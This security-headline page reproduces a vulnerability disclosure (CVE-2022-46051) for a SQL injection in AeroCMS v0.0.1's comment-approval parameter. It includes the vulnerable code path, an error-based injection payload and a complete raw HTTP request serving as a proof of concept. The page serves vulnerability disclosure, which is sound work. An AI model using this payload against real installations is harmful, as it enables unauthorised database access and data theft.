Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-46051: CVE/view_all_comments_update.MD at master · rdyx0/CVE

The approve parameter from the AeroCMS-v0.0.1 CMS system is vulnerable to SQL injection attacks.

CVE
#sql#web#windows#apple#php#chrome#webkit

Permalink

Cannot retrieve contributors at this time

view_all_comments_update

The approve parameter from the AeroCMS-v0.0.1 CMS system appears to be vulnerable to SQL injection attacks. The malicious user can dump-steal the database, from this CMS system and he can use it for very malicious purposes.

Step to Reproduct

Login to admin panel -> Comments -> Approve.

Exploit

Query out the current user

Vulnerable Code

admin/includes/view_all_comments.php

The approve parameter is passed in the GET mode and brought into the mysql_query() function without filtering

SQL query statements

UPDATE comments SET comment_status = 'approved' WHERE comment_id = 3 and extractvalue(0,concat(0x7e,user())) LIMIT 1

POC

  • Injection Point

    approve=3+and+extractvalue(0,concat(0x7e,user()))

  • Request

    GET /AeroCMS-0.0.1/admin/comments.php?approve=3+and+extractvalue(0,concat(0x7e,user())) HTTP/1.1 Host: localhost Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/AeroCMS-0.0.1/admin/comments.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=jl83irkvqmkeaq7j0bmr3i63q5 Connection: close

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907